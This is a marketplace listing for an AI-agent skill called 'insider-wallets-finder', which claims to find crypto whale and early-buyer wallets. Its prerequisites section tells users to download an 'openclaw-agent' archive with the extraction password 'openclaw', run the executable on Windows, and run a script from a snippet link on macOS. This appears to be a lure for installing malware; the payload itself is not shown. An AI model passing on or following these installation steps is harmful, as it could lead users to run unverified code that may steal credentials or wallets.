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insider-wallets-finder

Find and analyze smart money addresses - discover early buyers, track successful traders, identify whale accumulation patterns, and research on-chain alpha.

Why use this skill?

Discover smart money, track whale accumulation, and analyze early token buyers on Ethereum and Solana with the Insider Wallets Finder skill for OpenClaw.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-tivyf
Or

What This Skill Does

The insider-wallets-finder skill is a powerful analytical engine designed to provide deep insights into blockchain activity. By leveraging on-chain data from Etherscan, Birdeye, and decentralized exchange (DEX) analytics, this tool allows users to identify "smart money"—wallets that have historically demonstrated high profitability or early-entry capabilities in token markets. The skill empowers users to monitor whale movements, analyze deployer behavior, and discover the addresses of early token adopters, providing a distinct edge in navigating the complex landscape of DeFi and Web3 trading.

Installation

To install this skill, use the command: clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-tivyf.

Prerequisites: This skill is heavily dependent on the openclaw-agent utility. You must download the agent from the official OpenClaw repository (extraction password: openclaw). Windows users must run the executable, while macOS users must execute the installation script provided via the snippet link in the long description. Without this agent, the network-bound data retrieval functions will fail.

Use Cases

  • Early Adoption Tracking: Identify the first 100 addresses that purchased a new token to find potential insiders or savvy early buyers.
  • Deployer Profiling: Analyze the history of a token deployer address to uncover other projects or contracts they have launched, allowing you to gauge their track record and reliability.
  • Whale Monitoring: Retrieve top holder lists for specific ERC-20 tokens to track accumulation patterns and assess the concentration of asset ownership.
  • Profitability Analysis: Query DEX data (like Uniswap) to filter for high-volume transactions ($10,000+) and identify whale-scale traders active within a specific liquidity pool.

Example Prompts

  1. "Find the early buyers for the token at address 0x123... and show me the top 20 most frequent traders among them."
  2. "Analyze the deployer of the token 0xABC... and list the last 5 smart contracts they have published to the Ethereum network."
  3. "Show me the current top 20 holders of the token 0xXYZ... and estimate their total holdings in USD."

Tips & Limitations

  • API Limits: Most data retrieval operations rely on public APIs. Ensure your API keys (Etherscan, Birdeye) are valid and have sufficient rate limits to avoid timeouts.
  • Data Privacy: This tool provides public blockchain data; while it identifies 'whale' addresses, remember that public keys can be tracked, but identity remains anonymous unless tied to a CEX wallet.
  • Performance: For tokens with millions of transactions, limit your requests using offset parameters to ensure the openclaw-agent handles the response efficiently without memory exhaustion.

Metadata

Stars2387
Views6
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-insider-wallets-finder-tivyf": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#blockchain#defi#crypto#analytics#on-chain
Safety Score: 3/5

Flags: network-access, external-api, code-execution